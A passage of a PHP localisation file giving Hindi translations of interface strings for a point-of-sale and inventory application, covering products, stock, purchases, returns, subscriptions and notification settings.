लेबल', 'product_label' => 'उत्पाद लेबल', 'qty_label' => 'मात्रा लेबल', 'unit_price_label' => 'यूनिट मूल्य लेबल', 'subtotal_label' => 'सबपटल लेबल', 'product_details_to_be_shown' => 'उत्पाद विवरण दिखाया जाए', 'show_brand' => 'ब्रांड दिखाएं', 'show_sku' => 'SKU दिखाएं', 'show_cat_code' => 'श्रेणी कोड दिखाएं', 'show_client_id' => 'क्लाइंट आईडी दिखाएं', 'show_time_with_date' => 'तिथि के साथ समय दिखाएं', 'show_sale_description' => 'बिक्री विवरण दिखाएँ', 'product_imei_or_sn' => '(उत्पाद IMEI या सीरियल नंबर)', 'purchase_already_exist' => 'उत्पाद को हटाया नहीं जा सकता है क्योंकि इस उत्पाद से संबंधित खरीद मौजूद है', 'opening_stock_sold' => 'उत्पाद को हटाया नहीं जा सकता क्योंकि कुछ शेयर बेचे जाते हैं', 'stock_adjusted' => 'उत्पाद को हटाया नहीं जा सकता क्योंकि कुछ शेयर समायोजित किए जाते हैं', 'product_delete_success' => 'उत्पाद सफलतापूर्वक हटा दिया गया', 'manage_products' => 'अपने उत्पादों को प्रबंधित करें', 'all_products' => 'सारे उत्पाद', 'login' => 'लॉग इन करें', 'register' => 'रजिस्टर', 'username' => 'उपयोगकर्ता नाम', 'password' => 'पारण शब्द', 'remember_me' => 'मुझे याद रखना', 'forgot_your_password' => 'क्या आप पासवर्ड भूल गए?', 'reset_password' => 'पासवर्ड रीसेट', 'email_address' => 'ईमेल पता', 'send_password_reset_link' => 'पासवर्ड रिसेट लिंक भेजें', 'instructions' => 'निर्देश', 'instruction_line1' => 'फाइल आयात करने से पहले निर्देशों का सावधानीपूर्वक पालन करें।', 'instruction_line2' => 'सीएसवी फ़ाइल का कॉलम निम्नलिखित क्रम में होना चाहिए।', 'col_no' => 'कॉलम संख्या', 'col_name' => 'आम नाम', 'instruction' => 'निर्देश', 'required' => 'आवश्यक', 'optional' => 'वैकल्पिक', 'name_ins' => 'उत्पाद का नाम', 'brand_ins' => 'ब्रांड का नाम', 'brand_ins2' => 'यदि दिए गए नाम से नया ब्रांड नहीं मिला तो बनाया जाएगा', 'unit_ins' => 'यूनिट का नाम', 'category_ins' => 'श्रेणी का नाम', 'category_ins2' => 'यदि दिए गए नाम के साथ नई श्रेणी नहीं मिली है तो बनाया जाएगा', 'sub_category_ins' => 'उप-श्रेणी का नाम', 'sub_category_ins2' => 'यदि मूल श्रेणी के अंतर्गत दी गई नाम से नई उप-श्रेणी नहीं मिली तो बनाया जाएगा ', 'sku_ins' => 'उत्पाद SKU। यदि रिक्त एक SKU स्वचालित रूप से उत्पन्न हो जाएगा', 'barcode_type_ins' => 'उत्पाद के लिए बारकोड प्रकार।', 'barcode_type_ins2' => 'वर्तमान में समर्थित', 'default' => 'चूक', 'manage_stock_ins' => 'स्टॉक मैनेजमेंट सक्षम या अक्षम करें', 'alert_qty_ins' => 'यदि स्टॉक 1 का प्रबंधन आवश्यक है', 'expires_in_ins' => 'उत्पाद समाप्ति अवधि (केवल संख्या में)', 'expire_period_unit' => 'समाप्ति अवधि यूनिट', 'available_options' => 'उपलब्ध विकल्प', 'expire_period_unit_ins' => 'समाप्ति अवधि के लिए यूनिट', 'applicable_tax_ins' => 'टैक्स दर का नाम', 'variation_name_ins' => 'उत्पाद प्रकार चर है अगर आवश्यक', 'variation_name_ins2' => 'विविधता का नाम (पूर्वः आकार, रंग इत्यादि)', 'variation_values_ins' => 'उत्पाद प्रकार चर है अगर आवश्यक', 'variation_values_ins2' => "'|'<br> (पूर्व: लाल | ब्लू | ग्रीन) के साथ अलग-अलग भिन्नता के लिए मान ", 'purchase_price_inc_tax' => 'खरीद मूल्य (कर सहित)', 'purchase_price_inc_tax_ins1' => 'यदि खरीद मूल्य छोड़कर कर नहीं दिया गया है तो आवश्यक', 'purchase_price_inc_tax_ins2' => "खरीद मूल्य (कर सहित) (केवल संख्या में) <br> <br> चर उत्पादों के लिए '|' अलग मूल्यों को वैरिएशन वैल्यू के रूप में उसी क्रम के साथ - <br> (Ex: 84 | 85 | 88) ", 'purchase_price_exc_tax' => 'खरीद मूल्य (कर छोड़कर)', 'purchase_price_exc_tax_ins1' => 'यदि खरीद मूल्य शामिल नहीं है तो आवश्यक', 'purchase_price_exc_tax_ins2' => "खरीद मूल्य (कर को छोड़कर) (केवल संख्या में) <br> <br> चर उत्पादों के लिए '|' अलग मूल्यों को वैरिएशन वैल्यू के रूप में उसी क्रम के साथ - <br> (Ex: 84 | 85 | 88) ", 'profit_margin_ins' => 'लाभ मार्जिन (केवल संख्या में)', 'profit_margin_ins1' => 'यदि रिक्त डिफ़ॉल्ट लाभ मार्जिन # व्यापार के लिए इस्तेमाल किया जाएगा', 'selling_price' => 'विक्रय मूल्य', 'selling_price_ins' => 'बिक्री मूल्य (केवल संख्या में)', 'selling_price_ins1' => 'यदि रिक्त बिक्री मूल्य की गणना की जाएगी - दी गई खरीद मूल्य के साथ - और लागू कर', 'opening_stock' => 'आरंभिक स्टॉक', 'opening_stock_ins' => 'खोलने का स्टॉक (केवल संख्या में)', 'only_applicable_to_single_product' => 'केवल एकल उत्पाद पर लागू होता है', 'purchase_delete_success' => 'खरीद सफलतापूर्वक हटा दी गई', 'location_ins' => 'रिक्त पहले व्यावसायिक स्थान का उपयोग किया जाएगा', 'location_ins1' => 'व्यापार स्थान का नाम', 'expiry_date' => 'समाप्ति तिथि', 'expiry_date_ins' => 'स्टॉक समाप्ति तिथि <br><b>Format: mm-dd-yyyy; Ex: 11-25-2018</b>', 'enable_lot_number' => 'बहुत संख्या सक्षम करें', 'tooltip_enable_lot_number' => 'यह आपको खरीद स्क्रीन में प्रत्येक खरीद लाइन के लिए लॉट नंबर दर्ज करने में सक्षम करेगा', 'lot_number' => 'बहुत संख्या', 'enable_racks' => 'रैक सक्षम करें', 'tooltip_enable_racks' => 'उत्पादों को जोड़ने के दौरान विभिन्न व्यावसायिक स्थानों के लिए किसी उत्पाद के रैक विवरण जोड़ने के लिए इसे सक्षम करें', 'rack_details' => 'रैक विवरण', 'tooltip_rack_details' => 'अलग-अलग व्यावसायिक स्थानों के लिए जहां उत्पाद स्टोर में रखा जाता है, उसका विवरण दर्ज करें।', 'updated_success' => 'अद्यतन सफलतापूर्ण हो गया', 'added_success' => 'सफलतापूर्वक जोड़ा गया', 'deleted_success' => 'सफलतापूर्वक मिटाया गया', 'enable_disable_modules' => 'मॉड्यूल सक्षम / अक्षम करें', 'opening_stock_help_text' => "<br><br>परिवर्तनीय उत्पादों के लिए अलग-अलग स्टॉक मात्रा '|' के साथ <br>(Ex: 100|150|200)", 'applicable_tax_help' => '<br><br/>यदि खरीद मूल्य (कर को छोड़कर) समान नहीं है <br/>यदि खरीद मूल्य (कर को छोड़कर) समान नहीं है <br/>खरीद मूल्य (कर सहित)...', 'sale_delete_success' => 'बिक्री सफलतापूर्वक हटा दी गई', 'click_to_edit' => 'सम्पादन के लिए क्लिक करो', 'click_to_delete' => 'हटाने के लिए क्लिक करें', 'quotation_heading' => 'कोटेशन शीर्षक', 'quotation' => 'कोटेशन', 'quotation_no_prefix' => 'संविदा दर संख्या लेबल', 'tooltip_quotation_heading' => 'ग्राहकों को उद्धरण प्रदान करते समय उद्धरण या अनुमान शीर्षक का उपयोग किया जाता है।.', 'quotation_added' => 'कोटेशन सफलतापूर्वक जोड़ा गया', 'quotation_updated' => 'कोटेशन सफलतापूर्वक अपडेट किया गया', 'product_sold_details_register' => 'बेचे गए उत्पादों का विवरण', 'grand_total' => 'कुल योग', 'change_return' => 'वापसी बदलें', 'date_format' => 'डेटा प्रारूप', 'time_format' => 'समय प्रारूप', '12_hour' => '12 घंटे', '24_hour' => '24 घंटे', 'list_quotations' => 'सूची उद्धरण', 'list_drafts' => 'सूची ड्राफ्ट', 'you_cannot_delete_this_contact' => 'संपर्क को हटा नहीं सकता - लेनदेन संपर्क के लिए पहले से मौजूद है।', 'enable_row' => 'पंक्ति सक्षम करें', 'enable_position' => 'स्थिति सक्षम करें', 'rack' => 'रैक', 'row' => 'पंक्ति', 'position' => 'पद', 'weight' => 'वजन', 'rack_help_text' => "रैक विवरण '|' से अलग विभिन्न व्यावसायिक स्थानों के लिए क्रमशः। <br/> (EX: R1 | R5 | R12) ", 'row_help_text' => "पंक्ति विवरण '|' से अलग विभिन्न व्यावसायिक स्थानों के लिए क्रमशः। <br/> (EX: ROW1 | ROW2 | ROW3) ", 'position_help_text' => "स्थिति विवरण '|' से अलग विभिन्न व्यावसायिक स्थानों के लिए क्रमशः। <br/> (EX: POS1 | POS2 | POS3) ", 'import_opening_stock' => 'आयात खोलने स्टॉक', 'tooltip_import_opening_stock' => 'इस सुविधा का उपयोग पहले से जोड़े गए उत्पादों के शुरुआती स्टॉक को आयात करने के लिए किया जाता है। अगर उत्पादों को सिस्टम में नहीं जोड़ा जाता है तो यह सलाह दी जाती है कि खुले स्टॉक के साथ उत्पाद विवरण जोड़ने के लिए आयात उत्पादों का उपयोग करें।', 'design' => 'डिज़ाइन', 'express_checkout_cash' => 'कैश', 'express_checkout_card' => 'कार्ड', 'checkout_multi_pay' => 'एकाधिक भुगतान', 'tooltip_checkout_multi_pay' => 'एकाधिक भुगतान विधियों का उपयोग करके चेकआउट करें', 'tooltip_express_checkout_card' => 'कार्ड का उपयोग कर एक्सप्रेस चेकआउट', 'card_transaction_details' => 'कार्ड लेनदेन विवरण', 'client_tax_label' => 'क्लाइंट टैक्स नंबर लेबल', 'cat_code_label' => 'श्रेणी या एचएसएन कोड लेबल', 'list_sell_return' => 'सूची बिक्री वापसी', 'sell_return' => 'बिक्री वापसी', 'layout_credit_note' => 'क्रेडिट नोट / रिटर्न विवरण बेचें', 'cn_heading' => 'शीर्षक', 'cn_no_label' => 'संदर्भ संख्या', 'cn_amount_label' => 'कुल रकम', 'custom_field' => 'कस्टम फ़ील्ड :number', 'website' => 'वेबसाइट', 'total_credit_amt' => 'कुल क्रेडिट राशि', 'unit_sell_price' => 'इकाई बिक्री मूल्य', 'prefixes' => 'उपसर्ग', 'purchase_order' => 'खरीद आदेश', 'stock_transfer' => 'स्टाक ट्रान्स्फ़र', 'purchase_payment' => 'खरीद भुगतान', 'sell_payment' => 'भुगतान बेचें', 'location_id' => 'स्थान आईडी', 'add_edit_opening_stock' => 'खोलने वाले स्टॉक को जोड़ें या संपादित करें', 'expiry_date_will_be_changed_in_pl' => 'खरीद लाइन की समाप्ति तिथि बदल दी जाएगी', 'remove_from_stock' => 'स्टॉक से निकालें', 'stock_removed_successfully' => 'स्टॉक सफलतापूर्वक हटा दिया गया', 'product_image' => 'उत्पाद का चित्र', 'aspect_ratio_should_be_1_1' => 'पहलू अनुपात 1: 1 होना चाहिए', 'previous_image_will_be_replaced' => 'पहले अपलोड की गई छवि को बदल दिया जाएगा', 'all_category' => 'सब वर्ग', 'all_brands' => 'सभी ब्रांडों', 'backup' => 'बैकअप', 'download_complete_backup' => 'पूर्ण बैकअप डाउनलोड करें', 'backup_doesnt_exist' => 'बैकअप मौजूद नहीं है', 'lot_report' => 'बहुत रिपोर्ट', 'purchase_payment_report' => 'खरीद भुगतान रिपोर्ट', 'paid_on' => 'भुगतान करना', 'purchase' => 'खरीद फरोख्त', 'cheque_no' => 'चेक नंबर।', 'card_transaction_no' => 'कार्ड लेनदेन संख्या।', 'bank_account_no' => 'बैंक खाता नम्बर।', 'sell_payment_report' => 'भुगतान रिपोर्ट', 'restaurant' => 'रेस्टोरेंट', 'user_type' => 'उपयोगकर्ता का प्रकार', 'product_custom_field1' => 'कस्टम फील्ड 1', 'product_custom_field2' => 'कस्टम फील्ड 2', 'product_custom_field3' => 'कस्टम फील्ड 3', 'product_custom_field4' => 'कस्टम फील्ड 4', 'image' => 'छवि', 'image_help_text' => 'एक्सटेंशन के साथ छवि का नाम।<br/> (छवि का नाम सर्वर पर अपलोड किया जाना चाहिए: पथ )', 'tooltip_kitchen' => 'यह रसोई की स्क्रीन है। यहां ऑर्डर विवरण देखे जा सकते हैं और ऑर्डर को पके हुए के रूप में चिह्नित किया जा सकता है।', 'tooltip_serviceorder' => 'यह सेवा स्टाफ स्क्रीन है। सेवा कर्मचारी उनके लिए सभी ऑर्डर देखने के लिए इस स्क्रीन का उपयोग कर सकते हैं और सेवा के अनुसार ऑर्डर चिह्नित कर सकते हैं।', 'sales_person_label' => 'विक्रेता लेबल', 'show_sales_person' => 'बिक्री व्यक्ति दिखाओ', 'decimal_value_not_allowed' => 'दशमलव मूल्य की अनुमति नहीं है', 'theme_color' => 'थीम रंग', 'quantity_error_msg_in_lot' => 'केवल :qty :चयनित लूत में उपलब्ध इकाई', 'show_product_expiry' => 'उत्पाद समाप्ति दिखाएं', 'show_lot_number' => 'बहुत संख्या दिखाओ', 'expiry' => 'समाप्ति', 'lot' => 'लॉट', 'lot_n_expiry' => 'लॉट और समाप्ति', 'pos_edit_product_price_help' => 'उत्पाद इकाई मूल्य और कर संपादित करें', 'name' => 'नाम', 'payment_type' => 'भुगतान के प्रकार', 'manage_payment_account' => 'अपना भुगतान खाता प्रबंधित करें', 'all_payments' => 'सभी भुगतान', 'payment_note' => 'भुगतान नोट', 'payment_account_deleted_success' => 'भुगतान खाता सफलतापूर्वक हटा दिया गया', 'payment_account_updated_success' => 'भुगतान खाता सफलतापूर्वक अपडेट किया गया', 'payment_gateway' => 'ऑनलाइन भुगतान गेटवे', 'payment_account_success' => 'भुगतान खाता सफलतापूर्वक जोड़ा गया', 'payment_account' => 'भुगतान खाता', 'tooltip_sell_product_column' => 'क्लिक करें <i>उत्पाद का नाम</i> मूल्य, छूट और कर संपादित करने के लिए। <br/>क्लिक करें <i>टिप्पणी आइकन</i> सीरियल नंबर / आईएमईआई या अतिरिक्त नोट दर्ज करने के लिए।<br/><br/>क्लिक करें <i>संशोधक चिह्न</i>(अगर सक्षम है) संशोधक के लिए', 'credit_limit' => 'क्रेडिट सीमा', 'credit_limit_help' => 'कोई सीमा के लिए खाली रखें', 'cutomer_credit_limit_exeeded' => 'ग्राहक क्रेडिट सीमा पार हो गई <br>:credit_limit', 'custom_payment_1' => 'कस्टम भुगतान 1', 'custom_payment_2' => 'कस्टम भुगतान 2', 'custom_payment_3' => 'कस्टम भुगतान 3', 'transaction_no' => 'लेनदेन संख्या', 'file' => 'फ़ाइल', 'size' => 'आकार', 'date' => 'दिनांक', 'age' => 'आयु', 'create_new_backup' => 'नया बैकअप बनाएं', 'all_sales' => 'सभी बिक्री', 'opening_balance' => 'प्रारंभिक शेष', 'opening_balance_due' => 'ओपनिंग बैलेंस ड्यू', 'import_contacts' => 'संपर्क आयात करें', 'contact_type_ins' => '<strong> उपलब्ध विकल्प: ग्राहक, आपूर्तिकर्ता और दोनों </strong>', 'contact_id_ins' => 'स्वतः उत्पन्न संपर्क आईडी के लिए खाली छोड़ दें', 'required_if_supplier' => 'अगर संपर्क प्रकार आपूर्तिकर्ता है या दोनों आवश्यक है', 'pay_term_period_ins' => 'उपलब्ध विकल्प: दिन और महीनों', 'your_username_will_be' => 'आपका उपयोगकर्ता नाम होगा', 'currency_exchange_rate' => 'मुद्रा विनिमय दर', 'select_all' => 'सभी का चयन करे', 'deselect_all' => 'सभी को अचिन्हिंत करें', 'duplicate_product' => 'डुप्लिकेट उत्पाद', 'delete_selected' => 'चयनित मिटाएं', 'no_row_selected' => 'कोई पंक्ति चयनित नहीं है', 'duplicate_sell' => 'डुप्लिकेट सेल', 'duplicate_sell_created_successfully' => 'डुप्लिकेट बेचना सफलतापूर्वक बनाया गया', 'modules' => 'मॉड्यूल', 'theme' => 'थीम', 'account' => 'लेखा', 'expense_payment' => 'व्यय भुगतान', 'expense' => 'व्यय', 'disabled_in_demo' => 'सुविधा डेमो में अक्षम !!', 'selling_price_group' => 'बेचना मूल्य समूह', 'all_selling_price_group' => 'सभी बेचना मूल्य समूह', 'add_selling_price_group' => 'बेचना मूल्य समूह जोड़ें', 'edit_selling_price_group' => 'बेचना मूल्य समूह संपादित करें', 'access_selling_price_groups' => 'बिक्री मूल्य समूह एक्सेस करें', 'save_n_add_selling_price_group_prices' => 'बेचना और मूल्य-समूह मूल्य जोड़ें जोड़ें', 'add_selling_price_group_prices' => 'समूह मूल्य जोड़ें या संपादित करें', 'default_selling_price_inc_tax' => 'डिफ़ॉल्ट बिक्री मूल्य (इंक कर)', 'variation' => 'रूपांतर', 'price_group' => 'मूल्य समूह', 'group_price' => 'समूह मूल्य', 'default_selling_price' => 'डिफ़ॉल्ट बिक्री मूल्य', 'price_group_help_text' => 'बेचना मूल्य समूह जिसमें आप बेचना चाहते हैं', 'group_prices' => 'समूह मूल्य', 'view_group_prices' => 'समूह की कीमतें देखें', 'save_n_add_another' => 'सहेजें और एक और जोड़ें', 'update_n_add_another' => 'अपडेट करें और एक और जोड़ें', 'subtotal_editable' => 'सबटोटल संपादन योग्य', 'subtotal_editable_help_text' => 'पीओएस स्क्रीन में प्रत्येक उत्पाद के लिए सबटाटल फ़ील्ड संपादन योग्य बनाने के लिए इसे जांचें', 'notification_templates' => 'अधिसूचना टेम्पलेट्स', 'new_sale' => 'नई बिक्री', 'payment_reminder' => 'भुगतान अनुस्मारक', 'payment_received' => 'भुगतान प्राप्त', 'new_booking' => 'नई बुकिंग', 'new_order' => 'नया आदेश', 'payment_paid' => 'भुगतान भुगतान', 'items_received' => 'आइटम प्राप्त', 'items_pending' => 'आइटम लंबित', 'customer_notifications' => 'ग्राहक अधिसूचनाएं', 'supplier_notifications' => 'प्रदायक अधिसूचनाएं', 'email_subject' => 'ईमेल विषय', 'email_body' => 'ईमेल बॉडी', 'sms_body' => 'एसएमएस बॉडी', 'available_tags' => 'उपलब्ध टैग', 'send_notification' => 'अधिसूचना भेजें', 'new_sale_notification' => 'नई बिक्री अधिसूचना', 'send_email_only' => 'केवल ईमेल भेजें', 'send_sms_only' => 'केवल एसएमएस भेजें', 'send_both_email_n_sms' => 'ईमेल और एसएमएस दोनों भेजें', 'to' => 'सेवा मेरे', 'mobile_number' => 'मोबाइल नंबर', 'send' => 'भेजें', 'notification_sent_successfully' => 'अधिसूचना सफलतापूर्वक भेजी गई', 'payment_received_notification' => 'भुगतान प्राप्त अधिसूचना भेजें', 'send_payment_reminder' => 'भुगतान अनुस्मारक भेजें', 'new_order_notification' => 'नया आदेश अधिसूचना', 'item_received_notification' => 'आइटम प्राप्त अधिसूचना', 'item_pending_notification' => 'आइटम लंबित अधिसूचना', 'payment_paid_notification' => 'भुगतान भुगतान अधिसूचना', 'mail_host' => 'मेज़बान', 'mail_port' => 'बंदरगाह', 'mail_username' => 'उपयोगकर्ता नाम', 'mail_password' => 'पारण शब्द', 'mail_encryption' => 'एन्क्रिप्शन', 'mail_from_address' => 'इस पते से', 'mail_from_name' => 'नाम से', 'mail_encryption_place' => 'टीएलएस / एसएसएल', 'email_settings' => 'ईमेल सेटिंग', 'sms_settings' => 'एसएमएस सेटिंग्स', 'send_to_param_name' => 'पैरामीटर नाम पर भेजें', 'msg_param_name' => 'संदेश पैरामीटर नाम', 'sms_settings_param_key' => 'पैरामीटर: संख्या कुंजी', 'sms_settings_param_val' => 'पैरामीटर: संख्या मूल्य', 'sending' => 'भेजना', 'request_method' => 'अनुरोध विधि', 'purchase_return' => 'खरीद वापसी', 'return_quantity' => 'वापसी मात्रा', 'return_subtotal' => 'रिटर्न सबटोटल', 'quantity_left' => 'मात्रा बाएं', 'return_total' => 'कुल वापसी', 'total_return_tax' => 'कुल रिटर्न टैक्स', 'purchase_return_added_success' => 'खरीद वापसी सफलतापूर्वक जोड़ा गया', 'list_purchase_return' => 'सूची खरीद वापसी', 'all_purchase_returns' => 'सभी खरीद रिटर्न', 'parent_purchase' => 'अभिभावक खरीद', 'purchase_return_details' => 'वापसी विवरण विवरण', 'return_date' => 'वापसी की तिथि', 'parent_sale' => 'अभिभावक बिक्री', 'sell_quantity' => 'मात्रा बेचो', 'total_return_discount' => 'कुल रिटर्न छूट', 'sell_return_details' => 'रिटर्न विवरण बेचें', 'sell_details' => 'बिक्री विवरण', 'return_discount' => 'वापसी छूट', 'total_unit_transfered' => 'कुल इकाई स्थानांतरित', 'total_unit_adjusted' => 'कुल इकाई समायोजित', 'return_exist' => 'लेनदेन के लिए रिटर्न मौजूद है, बदले में रिटर्न संपादित करें।', 'synced_from_woocommerce' => 'Woocommerce से सिंक', 'available_stock_expired' => 'या उपलब्ध स्टॉक की समय सीमा समाप्त हो गई है।', 'sell_payments' => 'सूची बेचना / सूची पीओएस स्क्रीन में भुगतान जोड़ें / संपादित / हटाएं अनुमति।', 'purchase_payments' => 'सूची खरीद में भुगतान जोड़ें / संपादित / हटाएं अनुमति।', 'sell.payments' => 'भुगतान जोड़ें / संपादित / हटाएं', 'purchase.payments' => 'भुगतान जोड़ें / संपादित / हटाएं', 'view_payment' => 'भुगतान देखें', 'card_number' => 'कार्ड नंबर', 'transaction_number' => 'लेन - देन संख्या', 'card_holder_name' => 'कार्डधारक का नाम', 'card_transaction_number' => 'कार्ड लेनदेन संख्या', 'cheque_number' => 'चेक नंबर', 'commsn_percent_help' => 'केवल तभी उपयोग किया जाता है जब बिक्री आयोग एजेंट प्रकार सेटिंग है: उपयोगकर्ता में लॉग इन करें या उपयोगकर्ता सूची से चुनें', 'max_amount_to_be_paid_is' => 'भुगतान की जाने वाली अधिकतम राशि है: राशि', 'adjusted_for' => 'के लिए समायोजित', 'some_qty_returned' => 'इस खरीद से कुछ मात्रा वापस आती है', 'total_purchase_return' => 'कुल खरीद वापसी', 'total_purchase_return_paid' => 'कुल खरीद वापसी भुगतान', 'total_purchase_return_inc_tax' => 'कर सहित कुल खरीद रिटर्न', 'purchase_sell_report_formula' => 'कुल मिलाकर (बिक्री - बिक्री वापसी - खरीद - खरीद वापसी)', 'purchase_return_due' => 'वापसी वापसी देय', 'total_purchase_return_due' => 'कुल खरीद रिटर्न देय', 'receive_purchase_return_due' => 'खरीद रिटर्न देय प्राप्त करें', 'some_qty_returned_from_sell' => 'इस बिक्री से कुछ मात्रा वापस आती है', 'sell_due' => 'देय बिक्री', 'sell_return_due' => 'रिटर्न देय बेचें', 'total_sell_return_due' => 'कुल बिक्री रिटर्न देय', 'pay_sell_return_due' => 'वेतन बिक्री वापसी देय', 'total_sell_return' => 'कुल बिक्री वापसी', 'total_sell_return_paid' => 'कुल बिक्री वापसी भुगतान', 'total_sell_return_inc_tax' => 'टैक्स समेत कुल बिक्री रिटर्न', 'tooltip_columnize_taxes_heading' => 'शीर्षक के लिए कर नाम दर्ज करें, शीर्षक कर नाम में होना चाहिए। उदाहरण के लिए शीर्षलेख हो सकता है: CGST, SGST, IGST & CESS। कर नामों के लिए CGST@8% or CGST@10%; SGST@10% or SGST@8% आदि', 'sales_payment_dues' => 'बिक्री भुगतान देय', 'purchase_payment_dues' => 'भुगतान भुगतान देय', 'tooltip_sales_payment_dues' => "बिक्री के लिए लंबित भुगतान। <br/> <small class='text-muted'> चालान वेतन अवधि के आधार पर। <br/> भुगतान को 7 दिन या उससे कम समय में प्राप्त किया जा रहा है। </small>", 'edit_product_price_from_sale_screen' => 'बिक्री स्क्रीन से उत्पाद मूल्य संपादित करें', 'edit_product_discount_from_sale_screen' => 'बिक्री स्क्रीन से उत्पाद छूट संपादित करें', 'autosend_email' => 'ऑटो भेजें ईमेल', 'autosend_sms' => 'ऑटो भेजें एसएमएस', 'enable_selected_contacts' => 'चयनित संपर्कों को प्रतिबंधित करें', 'tooltip_enable_selected_contacts' => 'बेचने / खरीद ग्राहक / आपूर्तिकर्ता खोज बॉक्स में चयनित संपर्कों तक पहुंच प्रतिबंधित करें', 'selected_contacts' => 'संपर्क का चयन करें', 'view_role' => 'भूमिका देखें', 'delete_role' => 'भूमिका हटाएं', 'mail_driver' => 'मेल चालक', 'disable_suspend_sale' => 'सस्पेंड बिक्री अक्षम करें', 'suspend' => 'निलंबित', 'suspend_note' => 'निलंबित नोट', 'suspend_sale' => 'सस्पेंड सेल', 'view_suspended_sales' => 'निलंबित बिक्री देखें', 'suspended_sales' => 'निलंबित बिक्री', 'tooltip_suspend' => 'सस्पेंड बिक्री (रोकें)', 'business_telephone' => 'व्यापार संपर्क संख्या', 'accept_terms_and_conditions' => 'नियम और शर्तें स्वीकार करें', 'terms_conditions' => 'नियम एवं शर्तें', 'product_description' => 'उत्पाद वर्णन', 'click_here' => 'यहां क्लिक करे', 'for_more_info' => 'अधिक जानकारी के लिए', 'username_help' => 'स्वत: उत्पन्न उपयोगकर्ता नाम के लिए खाली छोड़ दें', 'status_for_user' => 'सक्रिय है ?', 'tooltip_enable_user_active' => 'उपयोगकर्ता को सक्रिय / निष्क्रिय करने के लिए चेक / अनचेक करें।', 'user_inactive' => 'क्षमा करें, खाता निष्क्रिय है', 'calculator' => 'कैलकुलेटर', 'fields_for_customer_details' => 'ग्राहक विवरण के लिए फ़ील्ड', 'show_previous_bal_due' => 'कुल शेष राशि दिखाएं (सभी बिक्री)', 'previous_bal_due_help' => 'मौजूद होने पर ग्राहक की सभी बिक्री के लिए शेष बकाया राशि दिखाने के लिए इस क्षेत्र की जांच करें', 'all_sales' => 'सभी बिक्री', 'current_sale' => 'वर्तमान बिक्री', 'view_invoice_url' => 'चालान यूआरएल देखें', 'copy' => 'कॉपी', 'extra_tags' => 'अतिरिक्त टैग', 'date_time_format' => 'दिनांक समय प्रारूप', 'date_time_format_help' => "दिनांक और समय प्रारूप दर्ज करें <a target='_blank' href='http://php.net/manual/en/function.date.php'>PHP डेटाटाइम प्रारूप</a>. यदि खाली व्यापार दिनांक समय प्रारूप लागू किया जाएगा", 'all' => 'सब', 'detailed' => 'विस्तृत', 'grouped' => 'समूहित (तारीख के आधार पर)', 'disable_recurring_invoice' => 'आवर्ती अक्षम करें', 'is_recurring' => 'आवर्ती है', 'recurring_invoice_help' => 'यदि इस सदस्यता को नियमित अंतराल पर स्वचालित रूप से जनरेट किया जाएगा। <br> आप इस सुविधा को <code> Settings > Business Settings > Modules </code> में अक्षम कर सकते हैं।', 'recurring_invoice' => 'आवर्ती चालान', 'years' => 'वर्षों', 'no_of_repetitions' => 'दोहराव की संख्या', 'recur_repetition_help' => 'यदि रिक्त चालान अनंत बार उत्पन्न हो जाएगा', 'recurring_invoice_message' => 'सदस्यता संख्या के लिए उत्पन्न नया चालान: <i>:subscription_no</i>, चालान संख्या: <i>:invoice_no</i>', 'notifcation_count_msg' => 'आपके पास :count सूचनाएँ', 'no_notifications_found' => 'कोई सूचना नहीं मिली', 'edit_multi_unit_help_text' => 'इस मूल्य को संपादित करने से उसके अनुसार खरीद और बिक्री स्टॉक बदल जाएंगे', 'sale_price_is_minimum_sale_price' => 'बिक्री मूल्य न्यूनतम विक्रय मूल्य है', 'minimum_sale_price_help' => 'यदि यह सक्षम है, तो POS या बिक्री स्क्रीन पर डिफ़ॉल्ट विक्रय मूल्य उत्पाद के लिए न्यूनतम विक्रय मूल्य होगा। आप डिफ़ॉल्ट विक्रय मूल्य से नीचे मूल्य निर्धारित नहीं कर सकते।', 'minimum_selling_price_error_msg' => 'न्यूनतम विक्रय मूल्य है :price', 'lot_numbers_are_used_in_sale' => 'नहीं हटाया जा सकता है, इस खरीद से कुछ पहले से ही बेच रहे हैं', 'created_at' => 'पर बनाया गया', 'download' => 'डाउनलोड', 'previous_file_will_be_replaced' => 'पहले अपलोड की गई फ़ाइल को बदल दिया जाएगा', 'access_accounts' => 'एक्सेस अकाउंट्स', 'payment_accounts' => 'भुगतान खाते', 'total_shipping_charges' => 'कुल शिपिंग शुल्क', 'recurring_invoice_error_message' => 'सदस्यता संख्या के लिए चालान बनाने में असमर्थ : <i>:subscription_no</i>। आवश्यक स्टॉक उत्पाद के लिए उपलब्ध नहीं है <i>:product_name </i>', 'load_more' => 'और लोड करें', 'cash_flow' => 'नकदी प्रवाह', 'subscribe' => 'सदस्यता लें', 'subscription_interval' => 'सदस्यता अंतराल', 'enable_subscription' => 'सदस्यता सक्षम करें', 'subscription_no' => 'सदस्यता संख्या', 'start_subscription' => 'सदस्यता शुरू करें', 'stop_subscription' => 'सदस्यता बंद करो', 'subscriptions' => 'सदस्यता', 'generated_invoices' => 'उत्पन्न चालान', 'last_generated' => 'अंतिम बार', 'upcoming_invoice' => 'आगामी इनवॉइस', 'total_sales_return' => 'कुल बिक्री रिटर्न', 'subscription_invoice' => 'सदस्यता चालान', 'subscribed_invoice' => 'सब्स्क्राइब्ड इनवॉइस', 'view_document' => 'दस्तावेज़ देखें', 'invoice_url_help' => 'लॉगिन के बिना चालान देखने के लिए लिंक करें।', 'unit_cannot_be_deleted' => 'इस इकाई के साथ उत्पाद मौजूद हैं, हटाया नहीं जा सकता', 'expiry_date_in_business_date_format' => 'स्टॉक समाप्ति की तारीख <b> व्यवसाय तिथि प्रारूप </b>', 'product_stock_details' => 'उत्पाद स्टॉक विवरण', 'search' => 'खोज', 'total_sold' => 'कुल सैनिक', 'total_stock_available' => 'कुल स्टॉक उपलब्ध', 'total_stock_transfered_to_the_location' => 'स्थान पर स्थानांतरित कुल स्टॉक', 'total_stock_transfered_from_the_location' => 'कुल स्टॉक स्थान से स्थानांतरित', 'total_stock_calculated' => 'कुल स्टॉक की गणना', 'adjust_stock_mismatch' => 'स्टॉक मिसमैच समायोजित करें', 'opening_balance_payments' => 'शेष भुगतान का भुगतान', 'enable_service_staff_in_product_line' => 'उत्पाद लाइन में सेवा कर्मचारियों को सक्षम करें', 'inline_service_staff_tooltip' => 'यदि सक्षम विभिन्न सेवा कर्मचारियों को ऑर्डर / बिक्री के लिए विभिन्न उत्पादों के लिए सौंपा जा सकता है', 'line_orders' => 'लाइन के आदेश', 'total_tax' => 'कुल कर', 'total_discount' => 'कुल छूट', 'net_price' => 'शुद्ध 